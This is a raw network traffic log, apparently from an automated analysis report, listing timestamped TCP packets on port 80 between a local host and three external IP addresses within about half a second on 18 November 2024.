Nov 18, 2024 19:04:40.487206936 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.487219095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.487230062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.487253904 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.487292051 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.487333059 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.530505896 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530543089 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530553102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530700922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530726910 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530739069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530739069 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.530750990 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.530790091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.530790091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.537456036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.537476063 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.537484884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.537548065 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.537730932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.537789106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.542155027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.542217016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.542268991 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.542634010 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.542819023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.542872906 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.564893961 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.564905882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.564990997 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.565534115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.565891027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.565942049 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.583976030 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.583996058 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584008932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584099054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.584101915 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584249973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.584403992 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584415913 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584427118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584439993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.584455967 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.584531069 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.585196018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585207939 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585220098 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585232019 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585252047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585253000 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.585263968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585275888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585314035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.585314989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.585624933 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585635900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.585685015 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.600950956 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.600961924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.600971937 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.601165056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.605053902 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605102062 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605113983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605180979 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.605180979 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.605794907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605806112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605815887 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.605880022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.605880976 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.625742912 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.625777006 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.625790119 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.625852108 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.625881910 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.626127958 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.626172066 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.626183987 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.626183987 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.626220942 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.626241922 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.627110958 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.627280951 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.627470970 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.627480984 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.627491951 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.627505064 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.627540112 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.627579927 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.628288984 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.628339052 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.649647951 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.649666071 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.649682045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.649749041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.649763107 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.649802923 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.649802923 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.649867058 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.650204897 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.650217056 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.650230885 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.650274992 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.650362015 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.691518068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.691778898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.691843987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.702692986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.702709913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.702722073 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.702857971 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.704751968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704772949 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704785109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704796076 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704808950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704821110 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704833984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.704891920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.704891920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.705365896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.705377102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.705389023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.705400944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705411911 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705424070 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705431938 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.705435991 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705447912 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705459118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705467939 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.705471039 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.705475092 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.705523968 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.705523968 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.706367016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.706556082 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.719382048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.719418049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.719429016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.719468117 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.719511032 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.719522953 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.719558001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.719558001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.720549107 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.720557928 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.720607996 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.721733093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.721849918 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.721900940 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.723908901 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.723948002 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.723961115 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.724010944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.724010944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.724261045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.724325895 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.724426031 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.724437952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.724481106 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.768189907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.768378973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.769618988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769634008 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769648075 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769659996 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769671917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769682884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769695044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769705057 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769711018 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.769711018 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.769717932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.769763947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.783489943 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783504009 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783515930 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783595085 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.783618927 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.783633947 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783680916 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.783835888 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783847094 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783859015 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783885002 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.783899069 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.783924103 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.783957005 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.784581900 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.784604073 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.784615040 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.784635067 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.784658909 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.784661055 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.784693003 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.785248041 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.785296917 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.785329103 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.785371065 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.822221041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822402000 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.822458029 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822469950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822490931 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822501898 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822514057 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822525024 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822537899 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822541952 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.822566986 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.822613955 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.822690964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822701931 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822714090 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.822791100 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.822791100 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.823410988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.823462963 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.823471069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.823528051 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.823542118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.823611975 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.823626995 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.823628902 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.823673010 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.823673010 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864137888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864171982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864185095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864223957 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.864394903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864408016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864419937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864440918 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.864470005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.864535093 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864604950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864617109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864630938 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864634037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864661932 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864691019 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864758968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864770889 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864782095 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.864821911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864828110 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864828110 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.864835024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864844084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.864886045 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.864989996 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.865134954 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.886744976 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.886758089 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.886770010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.886827946 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.886827946 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.886878014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.886890888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.886955976 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.886955976 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.887042046 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887053967 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887095928 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.887132883 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887236118 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.887377977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887388945 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887401104 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.887461901 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.887461901 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.898272038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.898328066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.898452997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.898780107 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.898807049 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.898823023 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.898839951 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.898864985 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.898951054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.898967981 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.898999929 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899030924 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899228096 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899240971 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899254084 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899276018 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899300098 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899570942 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899584055 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899595022 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899617910 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899652958 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.899935007 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.899982929 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.900113106 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.900156021 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.941004038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941164017 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941174030 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941190958 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941221952 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941318035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941320896 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941334009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941344976 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941355944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941389084 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941390038 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941683054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.941692114 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.941704988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941716909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941728115 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941732883 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.941796064 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.941801071 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.941855907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.942032099 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942115068 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.942178965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942190886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942240953 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.942240953 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.942493916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942506075 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942517042 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.942559958 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.942559958 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.954121113 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.959098101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.959254980 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.959264994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.959275961 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.959341049 CET	49979	80	192.168.2.5	62.76.234.151
